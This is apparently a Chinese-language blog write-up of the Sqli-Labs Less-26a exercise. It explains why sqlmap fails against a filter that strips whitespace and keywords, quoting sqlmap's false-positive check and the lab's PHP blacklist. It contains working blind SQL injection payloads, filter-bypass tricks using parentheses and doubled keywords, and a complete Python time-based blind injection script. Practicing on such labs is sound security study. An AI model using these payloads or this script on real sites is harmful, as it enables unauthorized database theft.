[Sqli-Labs-Master] - Less_26

发布时间 2023-11-01 01:14:36作者: Festu

Less-26a

与 Less-26 情况基本一致,只是没有报错回显,考虑使用布尔盲注。

PoC

?id=0'||if(ascii(substr((),1,1))=115,sleep(1),1)||'0

当尝试使用 Sqlmap 进行布尔盲注时,突然发现 Sqlmap 没法实现『用括号绕过对空格的过滤』。这不是简单的 Tamper 脚本处理关键词能解决的,这需要在 Sqlmap 的攻击模块中添加额外的 payload 来实现。

也许只能手动盲注或者自行编写盲注脚本来实现。

Sqlmap

这里在测试 Sqlmap 布尔盲注时遇到了非常奇怪的问题,困扰了我很久。首先是多个『Tamper』使用的问题。

假设空字符并未被完全过滤,那么这里需要用到两个脚本『symboliclogical.py』(下略为 symb)与『space2randomblank.py』(下略为 space),前者用于替换逻辑运算符:and -> &&;后者用于替换空白字符。查看源码会发现『space2randomblank.py』的优先级为『Low』高于 symb 的『Lowest』,当给出参数 --tamper=space2randomblank,symboliclogical 时 symb 不会起效;调换顺序 --tamper=symboliclogical,space2randomblank ,Sqlmap 会提示你弄反了脚本的调用顺序(优先级):

it appears that you might have mixed the order of tamper scripts. Do you want to auto resolve this? [Y/n/q]

输入 Y 会出现和上面一样的情况,symb 不起效;输入 n 强行以错误顺序调用脚本,symb 和 space 都起效。
Tips:将两个脚本的优先级调整为相同也能解决该问题。

为了让 sqlmap 成功识别出布尔盲注的注入点,需要在 payload 中保证:

  1. 默认的请求得到的是有效页面(可理解为查询成功)
  2. 需要提供有效页面/无效页面的标志,如返回『Your Login name:』时表示查询有效,则提供 --string="Your Login name:"

除此之外在遵循假设的前提下还需要保证空白字符被替换,因此需要用到脚本模块 Tamper。

但是使用不同的脚本 sqlmap 会有不同的反应。sqlmap 提供了很多空白字符替换的脚本,如『space2randomblank.py』(下略为 rblank)与『space2mysqlblank.py』(下略为 mblank),前者将 %20 随机替换为 ('%09', '%0A', '%0C', '%0D', '%0B') 中的一个,后者则会替换为更生僻的字符如 %A0 。使用 rblank 时 sqlmap 会发现布尔盲注的注入点,但它的 falsePositiveCheck 随即会认为该注入点是误判:

[WARNING] false positive or unexploitable injection point detected

而使用 mblank 时 Sqlmap 也能正确检测出布尔盲注,并且没有否定注入点,但它恢复不出任何内容。什么原因呢,我们需要研究一下 Sqlmap 的『falsePositiveCheck』模块的源码,根据关键词『false positive or unexploitable injection point detected』我们可以在源码中找到这个函数:

def checkFalsePositives(injection):
    """
    Checks for false positives (only in single special cases)
    """

    retVal = True

    if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
        pushValue(kb.injection)

        infoMsg = "checking if the injection point on %s " % injection.place
        infoMsg += "parameter '%s' is a false positive" % injection.parameter
        logger.info(infoMsg)

        def _():
            return int(randomInt(2)) + 1

        kb.injection = injection

        for level in xrange(conf.level):
            while True:
                randInt1, randInt2, randInt3 = (_() for j in xrange(3))

                randInt1 = min(randInt1, randInt2, randInt3)
                randInt3 = max(randInt1, randInt2, randInt3)

                if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
                    continue

                if conf.notString and any(conf.notString in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
                    continue

                if randInt3 > randInt2 > randInt1:
                    break

            if not checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt1)):
                retVal = False
                break

            if PAYLOAD.TECHNIQUE.BOOLEAN not in injection.data:
                checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt2))          # just in case if DBMS hasn't properly recovered from previous delayed request

            if checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt3)):          # this must not be evaluated to True
                retVal = False
                break

            elif checkBooleanExpression("%d%s%d" % (randInt3, INFERENCE_EQUALS_CHAR, randInt2)):        # this must not be evaluated to True
                retVal = False
                break

            elif not checkBooleanExpression("%d%s%d" % (randInt2, INFERENCE_EQUALS_CHAR, randInt2)):    # this must be evaluated to True
                retVal = False
                break

            elif checkBooleanExpression("%d %d" % (randInt3, randInt2)):                                # this must not be evaluated to True (invalid statement)
                retVal = False
                break

        if not retVal:
            warnMsg = "false positive or unexploitable injection point detected"
            logger.warning(warnMsg)

        kb.injection = popValue()

    return retVal

简单分析一下这个函数,retValue 表示注入点是否误判,默认为不误判 true

if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):

这里比较抽象,首先是 all() 函数,它接受一个可迭代的元素,若该元素中的所有子元素都为 true 则返回 true 。而里面的内容语法需要类比,例如:

a = (_ in (1,2,3) for _ in (1,4));
for aa in a:
 print(aa);


# True
# False

括号中的内容返回一个迭代器,其具体内容是一个 python 特有的生成迭代器的句式,_ 表示一个匿名变量,在该句式中他也可以携带/传递内容,表示的是在元组 (1,4) 中的各个元素是否在元组 (1,2,3) 中,结果从迭代器中被依次返回为 true, false 分别表示 1 在而 4 不在。

常量 PAYLOAD.TECHNIQUE.BOOLEAN 是一类表示注入类型的枚举内容,值为 1 表示布尔盲注。injection.data 是一个字典,其中存储的是注入的参数,如本次注入检查出来是布尔类型,该变量内部就会有一个键值对:

{
	1: {
		... # 布尔盲注细节
	}
}

因此这里的 if 实际上是在检查:

  1. 注入类型是否只有『布尔盲注、时间盲注与堆叠注入』这三种类型。
  2. 注入类型单一且为联合注入且其中的『Title』字段值中含有字符串『Generic』

这是在判断是否需要『falsePositiveCheck』。

随后它利用循环语句生成了三个随机数,保证这三个数从小到大排序,且内容不会与布尔盲注的有效性判断点混淆。

用这三个随机数『R1,R2,R3』,sqlmap 依次用以下句型检测注入可行性:

  1. r1 = r1 :必须有效
  2. r1 = r2 :必须无效
  3. r1 = r3 :必须无效
  4. r2 = r3 :必须无效
  5. r2 = r2 :必须有效
  6. r3 r2 :为非法句型,必须无效

6 步中任意一步有问题都会被判定为假注入点。其中第六条两个随机数默认用空格隔开。很不巧,本题所有的空白字符都被替换为空了,见 Sqli-Labs-Less-26a 的源码:

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

包括注释与所有空白字符,无一幸免。因此在第六步中,原本的 r3 r2 变成了 r3r2 ,两个数字相连变成了一串数字,可被隐式转换为有效的布尔值,因此反而返回了有效的页面,让 sqlmap 做出假注入点的判定。回到脚本,rblank 替换的空白字符全部被过滤,因此无法通过第六条检测;mblank 将空格替换成了一些非法字符,可以通过第六条检测,但由于这些非法字符只在特定版本的 Mysql 中被识别为分界符,在本地测试时 Mysql=5.7.26 不符合要求,因此无法作为有效的空白字符用于探测其他信息,故而我们恢复不了任何有效内容。

其本质问题还是,Sqlmap 的 Payload 构建是基于空白字符可用的情况,它并未考虑过使用『完全不依赖空格作为分界符』的 payload,如『括号构造句型』或是『利用符号 ||, && 的界符特性省略分界符』等情况。另一方面,这种绕过也无法依赖 Tamper 模块实现,因此『Less-26a』从设计上讲就无法被 Sqlmap 成功注入。


盲注脚本

考虑手搓一个盲注脚本,注入数据库信息。

首先是括号替代空格的查询语句:

select(group_concat(table_name))from(information_schema.tables)where(table_schema='%s')

由于本体过滤了关键词"or",双写来绕过:"infoorrmation_schema"。

最终编写了脚本"less-26a-blind.py",采用"Requests"库实现,单线程任务,速度极慢,有待改进,脚本如下:

import requests as rq   # By Requests

class timeBlindInjection:   # 时间盲注
    def __init__(self) -> None:
        self.url = "http://localhost:83/sqli-labs/Less-26a/"
        self.headers = {
            "User-Agent": "",
            "Host": "",
        }
        self.range = [0, 127]
        self.timeout = 1    # 延时 1s
        self.payload = {
            "length": {
                "pos": 1,   # 二分检测位置
                "cot": f"?id=0'||if(length((%s))%s,sleep({self.timeout}),1)||'0"
            },
            "detail": {
                "pos": 2,
                "cot": f"?id=0'||if(ascii(substr((%s),%d,1))%s,sleep({self.timeout}),1)||'0"
            }
        }
        self.target = {
        #    "cur_database": "select(database())",
            # "database": "select(group_concat(schema_name))from(infoorrmation_schema.schemata)",
            # "table": "select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='%s')",
            # "column": "select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='%s')",
            "secret": "select(secret_FPMB)from(challenges.5idc4x45h8)"
        }
        self.result = {}
   
    def run(self) -> bool:
        for key, val in self.target.items():
            if("%s" in val):
                val = val % (input(val+"\n->"))
            self.result[key] = self.inject(val)

    def inject(self, query: str) -> str:    # 注入指定内容
        t_len = self.BS("length", [query])  # 先得到长度
        t_res = ""
        for i in range(t_len):
            print(f"\r{t_res}", end="")
            res = self.BS("detail", [query, i+1])
            if res != -1:
                t_res += chr(res)
            else:
                input(res)
        print(f"\r{t_res}")
        return t_res

    def BS(self, key: str, parms: list) -> int:
        left, right = self.range
        while(left <= right):
            mid = (left+right)//2
            if self.get(self.getPayload(key, parms, "".join(["=", str(mid)]))):  # 查找正确
                return mid
            elif self.get(self.getPayload(key, parms, "".join([">", str(mid)]))):
                left = mid+1
            else:
                right = mid-1
        return -1

    def getPayload(self, key: str, parms: list, parm: str) -> str:
        tmp = parms.copy()
        tmp.insert(self.payload[key]["pos"], parm)
        return self.payload[key]["cot"] % tuple(tmp)

    def get(self, data) -> bool:
        try:
            res = rq.get(self.url+data, timeout=self.timeout-0.1)
            return False
        except Exception:   # 命中
            return True

if __name__ == "__main__":
    inject = timeBlindInjection()
    inject.run()

打算用自带线程池的 HackRequests 库优化一下脚本,后面再说。


联合注入

试试联合注入:

1')union(select(database()));'
1')union(select(column_name)from(information_schema.columns)where(table_name="users"));'

发现不起效果,利用括号构造不出有效的 payload 能闭合后面的引号与括号。